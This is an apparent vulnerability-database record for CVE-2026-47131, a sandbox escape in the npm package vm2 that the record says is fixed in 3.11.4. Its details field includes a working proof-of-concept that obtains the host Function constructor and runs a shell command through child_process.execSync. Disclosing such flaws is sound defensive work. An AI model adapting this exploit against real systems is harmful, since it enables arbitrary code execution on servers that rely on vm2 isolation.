{"id":"CVE-2026-47131","aliases":["GHSA-v6mx-mf47-r5wg"],"url":"https://o3.security/vulnerability/CVE-2026-47131","summary":"vm2: Sandbox Escape","details":"### Summary\nBy combining `Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\")`, `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox.\nThis allows attackers to run arbitrary code.\n\n### PoC\n```js\n\"use strict\";\n\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\nvm.run(`\n  \"use strict\";\n\n  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\");\n  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\n\n  async function f() {\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      setProto.call(getProto.call(e), null);\n    }\n\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      const HostFunction = e.constructor.constructor;\n      new HostFunction(\"return process\")().mainModule.require(\"child_process\").execSync(\"echo pwned\", { stdio: \"inherit\" });\n    }\n  }\n\n  f();\n`);\n```\n\n### Impact\nSandbox Escape → RCE","published":"2026-06-12T14:14:17.037Z","modified":"2026-08-12T03:51:16.636925947Z","cvss":{"score":10,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.00619,"percentile":0.46949,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vm2","fixedVersion":"3.11.4"}],"fix":{"url":"https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8","label":"patriksimek/vm2@27c525f"},"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47131.json"},{"type":"ADVISORY","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47131"},{"type":"FIX","url":"https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:16.636925947Z"}}